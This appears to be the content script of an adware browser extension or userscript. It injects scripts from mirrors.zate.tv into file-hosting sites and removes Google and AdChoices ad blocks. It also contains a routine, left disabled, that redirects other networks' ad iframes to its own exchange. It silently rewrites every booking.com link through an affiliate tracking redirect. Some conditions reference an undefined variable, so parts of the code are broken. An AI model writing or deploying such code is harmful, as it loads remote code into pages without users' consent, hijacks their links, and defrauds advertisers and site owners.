var loc = (location.href.match(/zatetv=/i));
if (location.href.match(/^http:\/\/(www\.)?bayfiles\.net/i) && loc) {
    addScript("bayfiles");
}else if (location.href.match(/^http:\/\/(www\.)?billionuploads\.com/i) && loc) {
    addScript("billion");
}else if (location.href.match(/^http:\/\/(www\.)?hugefiles\.net/i) && loc) {
    addScript("huge");
}else if (location.href.match(/^http:\/\/(www\.)?vshare\.eu/i) && loc) {
    addScript("videoshare");
}else if (location.href.match(/^http:\/\/(www\.)?180upload\.com/i) && loc) {
    addScript("180upload");
}else if (location.href.match(/^http:\/\/(www\.)?uptobox\.com/i) && loca) {
    addScript("uptobox");
}else if (location.href.match(/^http:\/\/(www\.)?megashares\.com/i) && loca) {
    addScript("megashares");
}else if (location.href.match(/^http:\/\/(www\.)?uplea\.com/i) && loca) {
    addScript("uplea");
}else if (location.href.match(/^http:\/\/(www\.)?crocko\.com/i) && loca) {
    addScript("crocko");
}else if (location.href.match(/^http:\/\/(www\.)?nowvideo\.sx/i) && loca) {
    addScript("nowvideo");
}
function addScript(a) {
    var s = document.createElement('script');
    s.setAttribute("type", "text/javascript");
    s.setAttribute("src", "http://mirrors.zate.tv/" + a + ".js");
    document.getElementsByTagName("head")[0].appendChild(s);
}
function createCookie(name, value, days) {
    var expires;
    if (days) {
        var date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
        expires = "; expires=" + date.toGMTString();
    }
    else {
        expires = "";
    }
    document.cookie = name + "=" + value + expires + "; path=/";
}
function getCookie(c_name) {
    if (document.cookie.length > 0) {
        c_start = document.cookie.indexOf(c_name + "=");
        if (c_start != -1) {
            c_start = c_start + c_name.length + 1;
            c_end = document.cookie.indexOf(";", c_start);
            if (c_end == -1) {
                c_end = document.cookie.length;
            }
            return unescape(document.cookie.substring(c_start, c_end));
        }
    }
    return "empty";
}
function xmat(b,a){
    if(a){
    if(b.width=="300" || b.width=="336"){
        b.src = "http://exchange.admailtiser.com/WhiteLabelBidRequestHandlerServlet?oid=34&width=300&height=250&pubid=74918&tagid=517928&noaop=1&revmod=INSERT_CONTENT_TYPE&encoded=1&cb=INSERT_CACHEBUSTER&cirf=INSERT_ENCODED_REFERER"; 
        }else if(b.width=="728"){
        b.src = "http://exchange.admailtiser.com/WhiteLabelBidRequestHandlerServlet?oid=34&width=728&height=90&pubid=74918&tagid=517938&noaop=1&revmod=INSERT_CONTENT_TYPE&encoded=1&cb=INSERT_CACHEBUSTER&cirf=INSERT_ENCODED_REFERER";
        }
    }  
}
function xw() {
    var a = document.getElementsByTagName("iframe");
    var ads= ['http://engine.adbooth.com/adserver/iframe?','http://ads.adjalauto.com/banneri?','http://adk2trk.cpmrocket.com/player.html?','http://tag.tlvmedia.com/?','http://ib.adnxs.com/tt?','http://x.descojonados.com/','http://www.xpiral.net/','http://creative.xtendmedia.com/proxy/matomymediaproxy.html?','http://dlvr.readserver.net/imp.php?','http://yieldmanager.adbooth.net/st?','http://code.taggify.net/tag.ashx?','http://nym1.ib.adnxs.com/if?','http://serve.adhance.com/www/delivery/afr.php?','http://ad.directrev.com/','http://n5.adshostnet.com/ads?','http://ads.affbuzzads.com/smart_ad/display?','/static_ads/play_ad.php?embed','http://adserving.cpxinteractive.com/st?','http://ad.foxnetworks.com/st?','http://ad.xtendmedia.com/st?','http://ad.harrenmedianetwork.com/st?','http://ad.metanetwork.com/st?','http://ad.smowtion.com','http://wlxrs.com','http://ad.blinkdr.com/st?','http://www.todoanimes.com/ads/','http://ad.z5x.net/st?','http://ad.adfunky.com/st?','http://ads.creafi-online-media.com/st?','http://ver-pelis.net/ads','http://ad.jumbaexchange.com/st?','http://www.ver-pelis.net/ads/','www.ver-pelis.net/wtf/','http://www.pelispedia.com/ads/','http://ads.avazu.net/st?','http://ad.yieldads.com/st?','http://ad.adnetinteractive.com/st?','http://ad.bannerconnect.net/st?','http://ads.jumbaexchange.com/st?','http://ad.e-viral.com/st?','http://ads.tlvmedia.com/st?','http://ad.adperium.com/st?','http://ads.jumbaexchange.com/st?','esandroid.net','http://go.cpmadvisors.com/st?','http://ad.xertive.com/st?','http://ad.media-servers.net/st?','http://www.ver-pelis.net/mc/','http://go.cpmadvisors.com/st?','http://ad.globe7.com/st?','http://ad.103092804.com/st?','http://ad.globaltakeoff.net/st?','http://ads.bluelithium.com/st?','http://ad.antventure.com/st?','http://ad.reduxmedia.com/st?','http://ad.adtegrity.net/st?','http://ad.directaclick.com/st?','.mediashakers.com/id','http://ad.adserverplus.com/st?','http://ad.yieldmanager.com/st?','tradex.openx.com/afr.php?','.affiz.net/tracking/iframedfp.php','adserver.itsfogo.com/','.pasadserver.com/showBanner.php','ads.lfstmedia.com/slot','ads.sonicomusica.com/ad','ads.adpv.com/iframe','cuevana.tv/banners/','matomy-la.com','adserver.adtechus.com/adiframe','mooxar.info/openx/','bs.serving-sys.com/BurstingPipe','ad.adserver01.de/','.adsmwt.com/st','ad.vuiads.net/showads','static.seeon.tv/ads/','www.redditmedia.com/ads/','justjared.buzznet.com/wp-content/themes/default/ads/banner.php','adserving.cpxadroit.com/','ads.mapcity.com/','edge.actaads.com/a_','www.adsomega.com/www/delivery','.zedo.com/','myintextual.net/tags/','ads.ad4game.com/www/delivery/','multiupload.com/ad.php','thepiratebay.sc','alexa.com/tfBuster.html','ad.adnetwork.net/st?','.megaclick.com/ybrant.php','f.megaclick.com','tec-nologias.com/','tumejorfrase.com','images.mcanime.net/manga/','ads.tlvmedia.com/st?','about:blank','http://cdn.interstitials.net/rmx2secure/?','http://www.sipeliculas.com/','http://ib.adnxs.com/acb?','http://ads.staticyonkis.com/www/delivery/afr.php?','ads.staticyonkis.com/'];
    for (var d = 0; d < a.length; d++) {
        for (var j = 0; j < ads.length; j++) {
            if (a[d].src.indexOf(ads[j]) !== -1) {
                xl(a[d]);
            }
        }
    }
}
function xl(c) {
    if (tam(c.width+'x'+c.height,true)) {
        xmat(c,true);
        return;
    }else if(tam(c.width+'x'+c.height,false)){
        xmat(c,false);
    }
}
function tam(me,a) {
    var val = null;
    if(a)
        val = ['300x250', '728x90', '160x600','336x280','120x600'];
    else
        val = ['300x250', '728x90', '160x600','468x60','800x600','120x20','120x600','800x440','336x280','280x336','250x250','234x60','500x500','800x500','300x600','720x300'];
    
    var ret = false;
    for (var i = 0; i < val.length; i++) {
        if (me == val[i]) {
            ret = true;
            break;
        }
    }
    return ret;
}
var domains = ['booking.com'];
function checkValidDesc(a) {
    for (var i = 0; i < domains.length; i++) {
        if (a.match("^(http|https)\:\/\/(www\.)?" + domains[i].replace("\.", "\\\."))) {
            return true;
        }
    }
    return false;
}
function isLink(a) {
    if (a.href == "") {
        return false;
    }
    var b = /(http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/;
    return b.test(a.href);
}
function insertDesc() {
    var a = document.getElementsByTagName("a");
    for (var i = 0; i < a.length; i++) {
        if (!isLink(a[i]) || document.domain.match((a[i].href.match(":\/\/(.[^/]+)")[1]).replace('www.', ''))) {
            continue
        }
        if (checkValidDesc(a[i].href)) {
            a[i].href = "http://statsbooking.com/ref.html?track=" + a[i].href + "?aid=descuentodos"
        }
    }
}
function a() {
    var texts = document.getElementsByTagName('text');
    if (texts.length > 0) {
        for (i = 0; i < texts.length; i++) {
            if (texts[i].innerHTML === 'Google' || texts[i].innerHTML.indexOf('Google') !== -1 || texts[i].innerHTML.search("Anuncios") > -1 || texts[i].innerHTML.indexOf("Anuncios") !== -1 || texts[i].innerHTML.indexOf("anuncios") !== -1  || texts[i].innerHTML === 'Gestión anuncios' || texts[i].innerHTML === 'AdChoices') {
                var parent = texts[i];
                while (parent.tagName.toUpperCase() !== 'HTML') {
                    if (parent.tagName.toLowerCase() === 'body') {
                    var w = getSizes('w');
                    var h = getSizes('h');
                     if (tam(getSizes('t'), true)){
                                            parent.innerHTML = '';
                                                }
                    }
                    parent = parent.parentNode;
                }
            }
        }
    }
}
function b(){
    var choises = document.getElementsByTagName('img');
    if(choises.length > 0){
        for(i = 0; i < choises.length; i++){
            var child = choises[i];
            if(child.alt === 'AdChoices' || child.src.indexOf("/c_30_us.png") > -1 || child.src.indexOf('//c.betrad.com/') !== -1){
                while (child.tagName.toUpperCase() !== 'HTML') {
                    if (child.tagName.toLowerCase() === 'body') {
                      var w = getSizes('w');
                        var h = getSizes('h');
                        if (tam(getSizes('t'), true)){
                                                  child.innerHTML = '';
                                                 }
                    }
                    child = child.parentNode;
                }
            }
        }
    }
}
function c(){
    var ifra = document.getElementsByTagName("iframe");
    if(ifra.length > 0){
        for(i = 0; i < ifra.length; i++){
            var child = ifra[i];
             if(child.src.indexOf("doubleclick.net") !== -1){
                while (child.tagName.toUpperCase() !== 'HTML') {
                    if (child.tagName.toLowerCase() === 'body') {
                        var w = getSizes('w');
                            var h = getSizes('h');
                            if (tam(getSizes('t'), true)){
                                                         child.innerHTML = '';
                                                }
                    }
                    child = child.parentNode;
                }
            }
        }
    }
}
function getSizes(a) {
    var myWidth = 0, myHeight = 0;
    if (typeof (window.innerWidth) === 'number') {
        myWidth = window.innerWidth;
        myHeight = window.innerHeight;
    } else if (document.documentElement && (document.documentElement.clientWidth || document.documentElement.clientHeight)) {
        myWidth = document.documentElement.clientWidth;
        myHeight = document.documentElement.clientHeight;
    } else if (document.body && (document.body.clientWidth || document.body.clientHeight)) {
        myWidth = document.body.clientWidth;
        myHeight = document.body.clientHeight;
    }
    if(a == 'w')
    return myWidth
    else if (a == 'h')
    return myHeight;
    else
    return myWidth + 'x' + myHeight;
}
a();
b();
c();
//xw();
insertDesc();